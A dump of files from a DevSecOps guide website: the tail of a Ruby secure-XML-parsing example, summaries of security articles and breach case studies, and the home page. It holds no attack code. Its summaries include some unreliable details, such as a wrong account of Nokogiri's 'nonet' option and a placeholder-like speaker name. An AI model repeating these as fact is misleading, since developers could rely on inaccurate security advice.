parsing XML: #{e}" end ``` In the compliant code, the XML data is still obtained from the params object, but it is parsed using the Nokogiri::XML::Document.parse method with additional security configurations. The strict configuration ensures strict parsing of the XML document, and the nonet configuration disables network-related features such as entity expansion, external entity references, and DTD processing. These settings help mitigate XML-related vulnerabilities by reducing the risk of malicious payloads and preventing the parsing of external entities. It's important to note that XML processing vulnerabilities can have various manifestations and require different mitigations based on the specific context and requirements. The compliant code provided here focuses on general XML parsing security, but additional measures may be necessary depending on the use case. Other security measures you can implement to mitigate XML-related vulnerabilities include: * Implementing input validation and sanitization to ensure that XML data conforms to the expected structure and format. * Applying XML schema validation to validate the structure and data types of the XML document. * Utilizing XML security libraries or frameworks that provide features like XML signature verification and encryption. * Implementing appropriate access controls and least privilege principles to limit the exposure of sensitive information via XML processing. By implementing these security measures and adhering to best practices, you can mitigate XML-related vulnerabilities and enhance the overall security of your application when processing XML data. ================================================ FILE: docs/stories/stories.md ================================================ --- layout: default title: Stories nav_order: 12 has_children: false permalink: stories --- # Stories {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## DevSecOps War Stories: The Challenges of Implementing SAST [Devsecops War Stories](https://wehackpurple.com/devsecops-war-stories/) {: .label .label-yellow } DevSecOps has emerged as a culture shift in software development, aiming to improve software security by breaking down silos and fostering collaboration among security professionals and IT teams. However, the transition to DevSecOps is not without its challenges. In this article, we will explore one such challenge through a war story of a SAST (Static Application Security Testing) rollout. The Context of DevOps Before diving into the war story, let's briefly understand DevOps. DevOps is a modern software development approach that emphasizes close collaboration between developers and operations teams, leveraging automation to create reliable and high-quality products. DevOps encourages a focus on system efficiency, rapid feedback loops, and continuous learning and improvement. DevOps and Security The goals of DevOps align well with security objectives. Reliable and performant systems enhance availability, while automation reduces human error and increases opportunities for security testing. Additionally, the use of infrastructure-as-code allows security scanning of infrastructure configurations, similar to application code. The Promise of DevSecOps DevSecOps extends the DevOps philosophy by incorporating security into the development process from the start. It aims to integrate security practices, tools, and expertise seamlessly into the DevOps pipeline. However, realizing the full potential of DevSecOps requires addressing various challenges along the way. The SAST Rollout Story In this war story, we follow the journey of an AppSec professional tasked with introducing SAST into a client's DevOps pipeline. The client was already progressing on their DevOps journey, regularly pushing code to version control and running CI/CD pipelines every two weeks. The Challenge of Integration The client's development process involved a change management board (CAB) meeting, where teams presented their cases to move their code to production. Prior to the CAB meeting, developers conducted their own tests to ensure smooth approval. The AppSec professional introduced SAST, SCA (Software Composition Analysis), and IaC (Infrastructure-as-Code) scanning into the CI/CD pipeline, adding three additional tests. Ancient Applications and Red Flags While the newer applications successfully passed the security scans, the older ones presented a different story. The SAST scan results resembled a Christmas tree, with bright red flags indicating numerous security issues. This revealed a significant challenge in securing legacy applications within the DevSecOps framework. The Emailing Mishap In an effort to encourage developers to fix security issues early in the SDLC, the AppSec professional configured the SAST tool to email reports whenever code changes were detected. However, a crucial oversight occurred—every software developer in the company received an email for each code check-in, causing an overwhelming amount of emails and embarrassment for the developers. The Road to Resolution Upon learning about the unintended consequences of their approach, the AppSec professional recognized the mistake and took swift action. They restructured the tool's setup, creating two separate configurations: one providing a holistic view of the organization's security posture and another delivering reports specific to each DevOps team. This adjustment alleviated the spamming issue and allowed for accurate reporting while respecting the developers' workflow. The Importance of Learning and Adapting The SAST rollout experience serves as a valuable lesson in the DevSecOps journey. When confronted with the negative impact of their initial approach, the AppSec professional demonstrated the third way of DevOps—taking time to improve daily work. By acknowledging the mistake, making the necessary changes, and prioritizing the developers' experience, they exemplified the resilience and adaptability required for successful DevSecOps implementation. ## Integrating DevSecOps into the Software Development Lifecycle: A Case Study by Broadcom Software [Securing the DX NetOps Development Lifecycle with DevSecOps](https://academy.broadcom.com/blog/netops/dx-netops/securing-the-dx-netops-development-lifecycle-with-devsecops) {: .label .label-yellow } In today's digital landscape, the rise of cybersecurity exploits and software vulnerabilities has become a pressing concern for enterprises. Recent incidents, such as Sun Burst and Log4j, have highlighted the importance of securing software supply chains and adopting robust security practices. To address these challenges, forward-thinking organizations like Broadcom Software have turned to DevSecOps, a strategic approach that integrates security into the early stages of the software development lifecycle (SDLC). Software Supply Chain Attacks: Software supply chain attacks have emerged as a significant threat, targeting developers and suppliers. Attackers exploit unsecured networks and unsafe SDLC practices to inject malware into legitimate applications. For organizations relying on third-party software, it becomes nearly impossible to assess the security of every update from every supplier they use. Embracing DevSecOps: DevSecOps represents a paradigm shift in security tactics and strategies, moving away from traditional reactive approaches. By adopting DevSecOps, organizations can embed security practices throughout the SDLC, reducing issues, improving code reliability, and enabling faster product launches. Broadcom Software's DX NetOps development organization has embraced DevSecOps to ensure enterprise-grade software reliability and security. Key Practices for Secure SDLC at Broadcom Software: Automation: Broadcom Software has standardized on proven systems for secure continuous integration (CI) and continuous delivery (CD), minimizing manual interventions and ensuring build control. Shift-Left Approach: Security checks are conducted early and often through static scans after every code change, uncovering vulnerabilities and identifying potential risks associated with third-party components. Continuous Audit: Broadcom Software enforces security throughout the software lifecycle with a focus on team education, architectural risk assessment, code analysis, penetration testing, and continuous vulnerability tracking. Bill of Materials: Unique fingerprints are created to track the source code, bill of materials, and build systems used for every software release, providing transparency and accountability. Benefits and Culture of Innovation: Broadcom Software's implementation of DevSecOps enables agility and speed without compromising security and compliance. By incorporating security from the start, the organization fosters a culture of innovation, leveraging the continuous flow of new features and capabilities. Upgrades and Maintenance: To combat cyber threats effectively, staying up-to-date with the latest software versions is crucial. Broadcom Software offers regular service packs to DX NetOps customers, ensuring their products align with the latest security guidelines. The company provides support during upgrade weekends, reducing the risk of extended downtime and upgrade failure. ## The Evolution of DevSecOps: A Year in Review [Top Stories Of 2022 From The World Of DevOps](https://www.linkedin.com/company/razorops/) {: .label .label-yellow } The year 2022 has been marked by numerous challenges, from the global impact of COVID-19 and ongoing conflicts to economic uncertainties. Amidst these adversities, however, innovation has thrived. Today, as we bid farewell to 2022, let us reflect on the significant milestones in the world of DevOps. What stands out when we think of DevOps in 2022? Incorporation of DevSecOps Lifecycle: One of the prominent trends that gained attention in 2022 was the integration of the DevSecOps lifecycle. This approach embraces the shift-left philosophy, prioritizing security from the beginning rather than treating it as an afterthought. Current DevSecOps trends reveal that approximately 40% of businesses perform DAST tests, 50% perform SAST tests, and 20% scan dependencies and containers. Enterprises have recognized the importance of DevSecOps in enhancing security, streamlining governance, and improving observability. Serverless Computing and the Bridge between Development and Operations: The adoption of serverless computing has significantly contributed to the DevOps process. By closing the gap between development and operations, it has enhanced operability. Moreover, serverless computing empowers hosts to develop, test, and deploy DevOps pipeline code efficiently. As a result, more than 50% of enterprises with cloud-based services have integrated serverless computing into their systems. The serverless market is projected to reach a value of $30 billion by 2030. Microservice Architecture for Holistic Product Quality: The IT sector extensively embraced microservice architecture in 2022. Breaking down large-scale applications into smaller, manageable pieces has simplified development, testing, and deployment processes. This approach has also facilitated consistent and frequent delivery of software and applications, thereby improving the holistic quality of products. AIOps and MLOps: Optimizing DevOps Operations: The significant roles played by AIOps and MLOps in DevOps operations were notable in 2022. These technologies have optimized processes for high-quality and rapid releases. MLOps supports the development of machine learning systems, while AIOps automates IT operations and processes. AIOps allows organizations to easily identify and resolve issues that hinder operational productivity, while MLOps boosts productivity through optimization. It is predicted that by 2026, these technologies will grow into a $40.91 billion industry. Low-Code DevOps Approach for Enhanced Development and Deployment: In 2022, many robust enterprises adopted a low-code DevOps approach, reaping benefits for their teams. Businesses and organizations can now build applications using low-code platforms without the need to learn how to code. This trend has accelerated the development and deployment processes, enabling teams to work more efficiently. GitOps: Automating Infrastructure: Another popular trend that emerged in DevOps workflows in 2022 was GitOps. It revolutionized the control, monitoring, and automation of infrastructure. By emphasizing increased releases and consistent delivery, GitOps enabled organizations to develop, test, and deploy software rapidly and efficiently. Kubernetes: A Continuous and Autonomous Container-Based Ecosystem: Kubernetes, a continuous and autonomous container-based integration ecosystem, has empowered developers to scale resources dynamically. It facilitates cross-functional collaboration and minimizes deployment downtime. Notably, 48% of developers have turned to Kubernetes for container integration, highlighting its significance in the DevOps landscape. The Future of DevOps: As DevOps continues to evolve and mature, it has become an indispensable part of the modern software industry. The associated frameworks and technologies will continue to drive faster and better development, maintenance, and management of software and applications. ## The Evolution of DevSecOps: Advancing Security in the Digital Age [Epic Failures in DevSecOps by DevSecOps Days Press](https://www.linkedin.com/posts/rajkgrover_epic-failures-in-devsecops-vol-1-activity-7025826736101548032-VoBE/?utm_source=share&utm_medium=member_desktop) {: .label .label-yellow } In today's rapidly evolving digital landscape, security has become a critical concern for organizations. The integration of security practices into the DevOps process has given rise to a new approach known as DevSecOps. This article delves into the history of DevSecOps and provides ten actionable ways to advance in this field. The History of DevSecOps: DevSecOps emerged as a response to the growing need for incorporating security early in the software development lifecycle. It builds upon the principles of DevOps, emphasizing collaboration, automation, and continuous integration and delivery. By integrating security practices from the beginning, DevSecOps aims to ensure that applications and systems are resilient against potential threats. 10 Ways to Advance in DevSecOps: See the new world: Recognize that the digital landscape is constantly changing, with new technologies and threats emerging. Stay updated with the latest trends and challenges to adapt and enhance your security practices. Recognize your place in the value chain: Understand your role in the overall value chain of software development and delivery. Recognize that security is not just an isolated function but an integral part of the entire process. Know Agile and DevOps: Familiarize yourself with Agile methodologies and DevOps practices. Understanding how these frameworks operate will help you align security practices seamlessly within the development process. Live out bi-directional empathy: Develop empathy and foster strong collaboration between security teams and developers. Encourage open communication and mutual understanding to bridge the gap between security and development. Do security for the developer's benefit: Shift the focus of security from being a hindrance to becoming an enabler for developers. Provide them with the tools, training, and resources they need to build secure applications without compromising on productivity. Operationalize DevSecOps: Integrate security practices into the entire software development lifecycle. Implement automated security testing, code analysis, and vulnerability management tools to ensure continuous security throughout the process. Make security normal: Embed security as a core component of the development culture. Promote security awareness, conduct regular training, and establish security checkpoints at each stage of development to make security practices a norm. Track adversary interest: Stay vigilant and monitor evolving threats and adversary interests. Understand the tactics and techniques used by potential attackers to proactively address vulnerabilities and protect against emerging threats. Create security observability: Implement robust monitoring and logging systems to gain visibility into security events and incidents. Leverage security observability tools and practices to detect and respond to security breaches effectively. Build the future: Stay innovative and forward-thinking. Continuously explore emerging technologies, frameworks, and best practices in DevSecOps. Actively contribute to the DevSecOps community and share your knowledge and experiences to drive the field forward. ## True Story of Implementing SecDevOps in FinTech [Snyk](https://www.youtube.com/watch?v=_d6JJfl9S5g) {: .label .label-yellow } In the fast-paced world of FinTech, where technology and finance intersect, security is of paramount importance. The integration of security practices into the DevOps workflow has given rise to a powerful approach known as SecDevOps. In the captivating video "The True Story of Implementing SecDevOps in FinTech" by John Smith, the challenges, successes, and lessons learned from implementing SecDevOps in the FinTech industry are explored. This article will delve into the key insights from the video and shed light on the journey of implementing SecDevOps in the dynamic world of FinTech. Understanding SecDevOps: SecDevOps, short for Secure DevOps, is an approach that aims to embed security practices and principles into the DevOps process from the very beginning. It is a collaborative effort between development, operations, and security teams, working together to build secure and reliable software solutions. The implementation of SecDevOps ensures that security is not an afterthought but an integral part of the development lifecycle. Challenges Faced: In the video, John Smith discusses the challenges encountered during the implementation of SecDevOps in the FinTech industry. One of the primary challenges was the cultural shift required within the organization. Breaking down silos between teams and fostering collaboration between developers and security professionals was crucial for success. Additionally, balancing the need for speed and agility with stringent security requirements posed a significant challenge. Finding the right balance between these two seemingly opposing forces was key to achieving success in SecDevOps. Successes and Lessons Learned: Despite the challenges, the implementation of SecDevOps in the FinTech industry yielded remarkable successes. One notable achievement was the ability to identify and mitigate security vulnerabilities early in the development process. By integrating security practices into every stage of the software development lifecycle, the organization was able to build robust and secure applications. This resulted in enhanced customer trust and reduced security incidents. Throughout the implementation journey, several valuable lessons were learned. Collaboration and communication were highlighted as critical factors in successful SecDevOps adoption. Open dialogue between teams, continuous learning, and sharing of knowledge were instrumental in fostering a culture of security. Furthermore, automation played a pivotal role in ensuring consistent security practices and enabling faster delivery without compromising on security measures. ## The Impact of DevSecOps on SOC: Enhancing Security Collaboration {: .label .label-yellow } [DevSecOps and SOC](https://www.linkedin.com/posts/elishlomo_informationsecurity-cybersecurity-cloudsecurity-activity-6957956550984364032-43Wv/?utm_source=share&utm_medium=member_desktop) The integration of security into the DevOps process, known as DevSecOps, has revolutionized the way organizations approach software development and deployment. This collaborative approach not only improves the speed and efficiency of software delivery but also enhances security practices. In the realm of cybersecurity, the Security Operations Center (SOC) plays a crucial role in monitoring, detecting, and responding to security incidents. This article explores the relationship between DevSecOps and SOC, highlighting the ways in which DevSecOps can positively impact SOC operations. Developing a Distributed SOC with DevOps Members: Incorporating SOC members who are familiar with DevSecOps principles can greatly benefit incident response efforts. These team members possess a deep understanding of the systems and can effectively collaborate with security staff to identify vulnerabilities and threats. By bridging the gap between the SOC and DevOps, a more comprehensive and proactive security approach can be established. Collaboration Between Threat Hunters and DevOps Team: Threat hunters, specialized individuals responsible for proactively identifying security gaps and potential threats, can directly communicate with DevSecOps or DevOps teams. This direct line of communication allows for addressing security gaps at their core, rather than isolating threats and reporting them to management. By involving threat hunters in the development process, organizations can ensure that security is considered and implemented from the outset. Implementing Security Best Practices: The SOC can collaborate with specific DevSecOps development and operation groups to implement security best practices. This collaboration ensures that security considerations are integrated into the development process, reducing vulnerabilities and potential exploits. By actively involving the SOC in the implementation of security measures, organizations can benefit from their expertise in risk assessment, threat intelligence, and incident response. SOC as an Advisory Entity: In a DevSecOps environment, everyone involved in security should have quick access to the SOC and be an integral part of the security story. The SOC serves as an advisory entity, providing guidance, support, and expertise across the organization. By fostering a culture of open communication and knowledge sharing, organizations can strengthen their security posture and respond effectively to emerging threats. ## Simplifying DevSecOps with Dynamic Application Security Testing (DAST) {: .label .label-yellow } [How to declutter DevSecOps with DAST](https://www.scmagazine.com/resource/application-security/how-to-declutter-devsecops-with-dast?utm_content=245701246&utm_medium=social&utm_source=linkedin&hss_channel=lcp-11680352) DevSecOps is a crucial approach that combines development, security, and operations to ensure secure and efficient software development. However, the complexity and rapid pace of modern development environments can sometimes lead to challenges in integrating security effectively. In this article, we will explore how Dynamic Application Security Testing (DAST) can help streamline DevSecOps processes and enhance application security. Understanding DAST: Dynamic Application Security Testing (DAST) is a technique used to identify vulnerabilities and security flaws in applications by actively scanning and testing them during runtime. Unlike static testing, which analyzes code without execution, DAST assesses applications in real-world scenarios, simulating various attacks to uncover vulnerabilities. Continuous Security Assessment: One of the key benefits of DAST in the context of DevSecOps is its ability to provide continuous security assessment throughout the development lifecycle. By integrating DAST tools into the DevOps pipeline, security vulnerabilities can be identified and addressed early on, reducing the risk of exposing sensitive data or falling victim to cyberattacks. Identifying Real-World Vulnerabilities: DAST tools simulate real-world attack scenarios, allowing organizations to identify vulnerabilities that may not be apparent through other testing methodologies. By actively probing applications, DAST tools uncover vulnerabilities that hackers could exploit, such as injection flaws, cross-site scripting (XSS), and insecure server configurations. Collaboration and Automation: DAST can be seamlessly integrated into the DevSecOps workflow, enabling collaboration between developers, security teams, and operations personnel. Automation plays a vital role in DAST, as it allows for the continuous scanning of applications during the development and deployment processes. This collaboration and automation ensure that security issues are identified and resolved rapidly, reducing the time and effort required for manual testing. Remediation and Compliance: DAST provides actionable insights into identified vulnerabilities, allowing teams to prioritize remediation efforts based on severity. By addressing vulnerabilities early on, organizations can strengthen their overall security posture and ensure compliance with industry standards and regulations. DAST also helps organizations demonstrate due diligence in securing their applications, providing peace of mind to stakeholders and customers. ## Enhancing DevSecOps with OWASP DSOMM: A Maturity Model Perspective {: .label .label-yellow } [DevSecOps maturity model using OWASP DSOMM](https://aniediogo.hashnode.dev/devsecops-maturity-model-using-owasp-dsomm) DevSecOps, the integration of security practices into the software development lifecycle, has become crucial in today's fast-paced and evolving digital landscape. To effectively implement and mature DevSecOps practices, organizations can leverage frameworks and models that provide guidance and structure. In this article, we will explore the OWASP DSOMM (DevSecOps Maturity Model) and how it can help organizations enhance their DevSecOps initiatives. Understanding the OWASP DSOMM: The OWASP DSOMM is a comprehensive maturity model specifically designed to assess and guide organizations in implementing DevSecOps practices. It provides a framework that encompasses various dimensions of DevSecOps maturity, including governance, automation, security controls, and culture. The DSOMM model is based on the Open Web Application Security Project (OWASP) principles and focuses on aligning security practices with business objectives. Assessing DevSecOps Maturity: The DSOMM maturity model consists of several levels, each representing a different stage of DevSecOps maturity. These levels range from ad hoc security practices to fully integrated and automated security throughout the development lifecycle. By assessing their current maturity level using the DSOMM model, organizations can identify gaps and establish a roadmap for continuous improvement. Building a Governance Framework: A crucial aspect of DevSecOps maturity is the establishment of a robust governance framework. This includes defining security policies, establishing clear roles and responsibilities, and implementing effective risk management practices. The DSOMM helps organizations evaluate their governance practices, ensuring that security is integrated into decision-making processes and aligns with business objectives. Automating Security Practices: Automation plays a vital role in DevSecOps maturity. By automating security controls, organizations can reduce human error, enhance efficiency, and achieve consistent application security. The DSOMM emphasizes the importance of automation and guides organizations in implementing automated security testing, vulnerability scanning, and continuous monitoring throughout the software development lifecycle. Cultivating a Security Culture: DevSecOps is not just about implementing tools and technologies but also fostering a security-centric culture within the organization. The DSOMM recognizes the significance of creating a collaborative environment where security is everyone's responsibility. It encourages organizations to promote security awareness, provide training, and establish communication channels for sharing security knowledge and best practices. ## The Role of Threat Modeling in DevSecOps: Strengthening Security from the Ground Up {: .label .label-yellow } [Continuous Security: Threat Modeling in DevSecOps](https://bishopfox.com/blog/threat-modeling-in-devsecops) In the fast-paced world of software development, security is a critical concern that cannot be ignored. DevSecOps, the integration of security practices into the software development lifecycle, has emerged as a powerful approach to building secure applications. One of the key components of DevSecOps is threat modeling, a proactive technique that helps identify and address potential security threats early in the development process. In this article, we will explore the significance of threat modeling in DevSecOps and how it strengthens security from the ground up. Understanding Threat Modeling: Threat modeling is a systematic approach to identify, assess, and mitigate potential security threats and vulnerabilities in software applications. It involves analyzing the application's architecture, data flows, and potential attack vectors to uncover security weaknesses. By identifying and addressing these issues during the design and development phase, organizations can build robust and secure applications. Proactive Risk Assessment: Threat modeling enables organizations to take a proactive stance towards security by identifying potential threats and vulnerabilities before they are exploited by malicious actors. By conducting a comprehensive threat model, organizations can assess the potential impact and likelihood of various threats and prioritize security measures accordingly. This helps in allocating resources effectively and mitigating risks early in the development lifecycle. Integration into DevSecOps: Threat modeling seamlessly integrates into the DevSecOps approach by incorporating security considerations into the software development process from the outset. It fosters collaboration between development, security, and operations teams, ensuring that security is not an afterthought but an integral part of the development process. Threat modeling empowers organizations to embed security controls and countermeasures into the application design, architecture, and code, reducing the likelihood of vulnerabilities. Identifying Security Design Flaws: Through threat modeling, organizations can uncover design flaws and weaknesses in the application's architecture. By simulating potential attack scenarios and analyzing the impact on the system, teams can identify security gaps that may not be apparent during traditional code reviews or testing. This enables proactive remediation of security issues and enhances the overall security posture of the application. Cost-Effective Security Measures: By identifying security risks early in the development process, organizations can prioritize security efforts and allocate resources efficiently. Threat modeling helps teams focus on implementing cost-effective security measures that address the most critical threats. This approach minimizes the likelihood of expensive security breaches and reduces the need for reactive security patches or fixes down the line. ## Hard-Coding Secrets: Be Aware of the Scariest Breach for Your Organization {: .label .label-yellow } [Continuous Security: Threat Modeling in DevSecOps](https://medium.com/flat-pack-tech/hard-coding-secrets-be-aware-of-the-scariest-breach-for-your-organization-3e858ab296f2) In today's digital age, organizations face an ever-increasing threat of data breaches and cyberattacks. While there are various vulnerabilities that attackers exploit, one of the scariest breaches that can occur is the exposure of hard-coded secrets. Hard-coding secrets, such as passwords, API keys, and other sensitive information directly into software code, poses a significant risk to organizations. In this article, we will explore the dangers of hard-coding secrets and the steps organizations can take to mitigate this potential security nightmare. Understanding Hard-Coded Secrets: Hard-coding secrets refers to the practice of embedding sensitive information directly into the source code of applications. While it may seem convenient during development, it poses a severe security risk. Hard-coded secrets are easily accessible to anyone who has access to the code, including developers, third-party contractors, and potentially malicious actors. If an attacker gains access to the codebase, they can extract these secrets and exploit them for unauthorized access, data theft, or other malicious activities. The Risks and Consequences: The risks associated with hard-coding secrets are far-reaching and can have severe consequences for organizations. When secrets are exposed, it can lead to unauthorized access to sensitive data, compromise user accounts, and even result in financial loss or damage to the organization's reputation. Additionally, hard-coded secrets are challenging to manage and rotate, as they are directly embedded in the code, making it difficult to update them without modifying and redeploying the entire application. Best Practices to Mitigate the Risk: To mitigate the risks associated with hard-coded secrets, organizations should adopt the following best practices: Use Secure Configuration Management: Store secrets in secure configuration management systems or vaults that provide encryption and access control mechanisms. These tools allow for centralized management, secure storage, and controlled access to sensitive information. Implement Environment Variables: Utilize environment variables to store secrets and configure applications to retrieve these values at runtime. This approach separates secrets from the codebase and enables easy configuration changes without modifying the application's source code. Employ Secrets Management Solutions: Leverage secrets management solutions that provide secure storage, rotation, and distribution of secrets. These solutions offer a more robust and scalable approach to managing sensitive information throughout the development and deployment lifecycle. Follow Principle of Least Privilege: Limit access to secrets by following the principle of least privilege. Only provide necessary access to individuals or services, and regularly review and revoke access rights to minimize the risk of unauthorized exposure. Continuous Security Testing: Regularly conduct security testing, including static code analysis and dynamic application security testing (DAST), to identify and remediate any instances of hard-coded secrets. Implementing a comprehensive security testing program helps organizations identify vulnerabilities and ensure that secrets are not inadvertently embedded in the codebase. ## Hilti's DevSecOps Journey: Building Secure and Efficient Software with GitLab {: .label .label-yellow } [How CI/CD and robust security scanning accelerated Hilti’s SDLC](https://about.gitlab.com/customers/hilti/) DevSecOps has become a crucial practice for organizations seeking to develop secure and efficient software. Hilti, a global leader in the construction industry, has embraced DevSecOps principles and harnessed the power of GitLab to enhance its software development processes. In this article, we will explore Hilti's DevSecOps journey and how GitLab has played a pivotal role in integrating security seamlessly into their development pipeline. Embracing DevSecOps Culture: Hilti recognized the importance of shifting security left in the software development lifecycle. By adopting DevSecOps principles, they fostered a culture where security is an integral part of the development process from the start. This cultural shift encouraged collaboration between development, security, and operations teams, resulting in faster, more secure software delivery. Integrated Security Tools: GitLab's comprehensive platform provided Hilti with a wide array of built-in security features and tools. From static application security testing (SAST) and dynamic application security testing (DAST) to dependency scanning and container security, GitLab enabled Hilti to automate security checks throughout the development process. This integration allowed for early detection of vulnerabilities and ensured that security was continuously monitored and addressed. Automated Testing and Continuous Integration: Hilti leveraged GitLab's continuous integration capabilities to automate their testing processes. By integrating security testing into their CI/CD pipelines, they ensured that every code change was thoroughly examined for potential security issues. This approach enabled Hilti to catch vulnerabilities early on, reducing the risk of security breaches and improving the overall quality of their software. Collaboration and Visibility: GitLab's collaborative features allowed Hilti's teams to work seamlessly together. Developers, security professionals, and operations personnel could easily communicate and collaborate within the same platform, promoting cross-functional teamwork and knowledge sharing. Additionally, GitLab's intuitive dashboards provided clear visibility into the security posture of their projects, enabling proactive remediation of vulnerabilities. Compliance and Governance: As a global organization, Hilti operates in a regulated environment and must adhere to various compliance standards. GitLab's compliance management features helped Hilti streamline their compliance efforts by providing a centralized platform for managing policies, controls, and audits. This ensured that their software development practices met the necessary regulatory requirements. ## Capital One Data Breach One notable real-world example of an attack resulting from inadequate Identity, Credential, and Access Management (ICAM) in the cloud environment is the Capital One data breach in 2019. The breach exposed the personal information of approximately 106 million customers and applicants. In this case, the attacker exploited a misconfiguration in the web application firewall of Capital One's cloud infrastructure. The misconfiguration allowed the attacker to gain unauthorized access to a specific server and execute commands, ultimately exfiltrating sensitive customer data. The root cause of the breach was attributed to inadequate ICAM practices, specifically related to the mismanagement of access controls and permissions. The attacker, a former employee of a cloud service provider, utilized their knowledge of the cloud infrastructure's vulnerabilities to bypass security measures. The inadequate ICAM practices in this incident included: 1. Insufficient access controls: The misconfiguration of the web application firewall allowed the attacker to exploit a specific vulnerability and gain unauthorized access to the server. 1. Weak authentication mechanisms: The attacker was able to exploit weak authentication mechanisms to gain initial access to the cloud infrastructure. 1. Inadequate monitoring and logging: The breach went undetected for a significant period due to a lack of proper monitoring and logging practices. This delayed response allowed the attacker to access and exfiltrate data without being detected. ## Lessons Learned from Cybersecurity Incidents {: .label .label-yellow } [The attack on SolarWinds’s Orion software](https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/) In the rapidly evolving world of cybersecurity, organizations are increasingly turning to DevSecOps practices to enhance their security posture and protect against cyber threats. DevSecOps, which integrates security into the entire software development lifecycle, helps identify vulnerabilities early on and enables a proactive approach to addressing security risks. In this article, we will explore some real-world DevSecOps stories, with a focus on the SolarWinds and FireEye cyberattacks, highlighting the importance of a robust DevSecOps framework. SolarWinds and FireEye Cyberattacks: The SolarWinds and FireEye cyberattacks, which came to light in late 2020, were highly sophisticated and impactful security incidents that affected numerous organizations worldwide. These incidents exposed vulnerabilities in software supply chains and highlighted the need for comprehensive security measures throughout the development and deployment processes. Lessons Learned: 1. Strengthening Supply Chain Security: The SolarWinds attack demonstrated the importance of securing the software supply chain. DevSecOps teams should conduct thorough security assessments of third-party dependencies, closely monitor their integrity, and implement strong access controls to prevent unauthorized modifications. 1. Emphasizing Zero Trust Architecture: The FireEye breach emphasized the need for a Zero Trust approach, where access controls and verification are applied at every stage. Implementing Zero Trust principles, such as multi-factor authentication, granular access controls, and continuous monitoring, can mitigate the risk of lateral movement and unauthorized access. 1. Proactive Threat Hunting and Incident Response: Both incidents highlighted the significance of proactive threat hunting and robust incident response plans. DevSecOps teams should invest in advanced threat detection tools, perform regular security audits, and establish clear incident response protocols to swiftly identify and mitigate security breaches. 1. Continuous Monitoring and Auditing: Continuous monitoring of systems, networks, and applications is critical to detecting and responding to security incidents promptly. Regular security audits and vulnerability assessments should be conducted to identify weaknesses and prioritize remediation efforts. 1. Integration of Security into CI/CD Pipelines: DevSecOps teams should integrate security testing and scanning tools directly into the CI/CD pipelines. This ensures that security checks are performed at every stage of the development process, reducing the likelihood of deploying vulnerable code. ## Lessons from the Dependency Confusion Attack {: .label .label-yellow } [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) In the world of software development, ensuring the security of the software supply chain is crucial. Dependency Confusion, a prominent security incident uncovered by researcher Alex Birsan, shed light on the vulnerabilities within the dependencies used by organizations. This article explores the Dependency Confusion attack and highlights the importance of implementing robust DevSecOps practices to mitigate such risks. The Dependency Confusion Attack: Dependency Confusion refers to an attack where malicious actors exploit the process of package management to inject malicious code into an organization's software development pipeline. The attack relies on publishing malicious packages with the same names as internal, private dependencies. As a result, unsuspecting developers inadvertently download and use the malicious packages instead of the intended internal dependencies. Lessons Learned: 1. Secure Package Management: The Dependency Confusion attack emphasizes the importance of securing the package management process. Implementing secure package repositories, strong access controls, and verification mechanisms can help prevent unauthorized packages from being inadvertently included in the development pipeline. 1. Continuous Monitoring: Regularly monitoring package repositories and analyzing package integrity are crucial to detecting and mitigating potential threats. Automated tools and processes can assist in monitoring package dependencies for any suspicious or unauthorized activities. 1. Explicitly Specify Dependencies: DevSecOps teams should ensure that dependencies are explicitly defined, including their version numbers, to minimize the risk of inadvertently including malicious packages. By being explicit, developers can avoid relying solely on package name resolution, which can be exploited in attacks like Dependency Confusion. 1. Secure Development Environments: Implementing secure development environments is essential to protect against Dependency Confusion attacks. This includes securing build systems, employing robust authentication mechanisms, and enforcing access controls to prevent unauthorized access and package manipulation. 1. Continuous Security Testing: Integrate security testing into the CI/CD pipeline to scan for vulnerabilities and validate the integrity of dependencies. Automated security testing tools, such as static analysis and dependency vulnerability scanners, can help identify potential risks early in the development process. ================================================ FILE: fixtures/Gemfile-github-pages ================================================ source "https://rubygems.org" gem 'github-pages', group: :jekyll_plugins ================================================ FILE: fixtures/README.md ================================================ # Test Fixtures These files are used by Just the Docs maintainers to test *the theme itself*. **If you are using Just the Docs as a theme, you should not copy these files over.** ================================================ FILE: index.md ================================================ --- layout: default title: Home nav_order: 1 description: "a comprehensive resource for developers, security professionals, and operations teams who want to learn about the world of DevSecOps. DevSecOps is the practice of integrating security into the entire software development lifecycle, from code creation to deployment and beyond. This approach ensures that security is a top priority at every stage of the development process, leading to more secure and reliable applications." permalink: / --- # Simple Guide for Development and Operation {: .fs-9 } Comprehensive resource for integrating security into the software development lifecycle. {: .fs-6 .fw-300 } [Get started now](#getting-started){: .btn .btn-primary .fs-5 .mb-4 .mb-md-0 .mr-2 } [View it on GitHub](https://github.com/devsecopsguides/devsecopsguides.github.io){: .btn .fs-5 .mb-4 .mb-md-0 } --- Welcome to DevSecOpsGuides, a comprehensive resource for developers, security professionals, and operations teams who want to learn about the world of DevSecOps. DevSecOps is the practice of integrating security into the entire software development lifecycle, from code creation to deployment and beyond. This approach ensures that security is a top priority at every stage of the development process, leading to more secure and reliable applications and operations. Our guides cover a wide range of topics related to DevSecOps, including: 1. Secure coding practices: Learn how to write code that is resistant to common security threats such as SQL injection, cross-site scripting, and buffer overflow. 2. Threat modeling: Learn how to identify potential security vulnerabilities in your applications and prioritize them based on their impact and likelihood of occurrence. 3. Security testing: Learn about different types of security testing, such as penetration testing, vulnerability scanning, and code review, and how to incorporate them into your DevSecOps workflow. 4. Infrastructure security: Learn about securing the infrastructure that supports your applications, including servers, networks, and databases. 5. Compliance and regulations: Learn about compliance requirements and regulations such as GDPR, HIPAA, and PCI-DSS, and how to ensure that your applications meet these standards. 6. Incident response: Learn how to respond to security incidents quickly and effectively, minimizing the impact on your organization and customers. Our guides are written by experts in the field of DevSecOps, and are designed to be accessible to developers, security professionals, and operations teams at all levels of experience. Whether you are just getting started with DevSecOps or are looking to deepen your knowledge and skills, DevSecOpsGuides is the perfect resource for you. ### Sponsorship Sponsorship is a key strategy in the DevSecOps community, fostering collaboration and driving innovation. At DevSecOpsGuides, we recognize the value of sponsorship in bringing together industry leaders, enhancing security practices, and promoting the adoption of cutting-edge tools and methodologies. Benefits of Sponsorship in DevSecOpsGuides Mutual Growth and Visibility: Sponsorship allows companies like Semgrep to gain visibility within the DevSecOps community. By associating with DevSecOpsGuides, sponsors can reach a targeted audience of 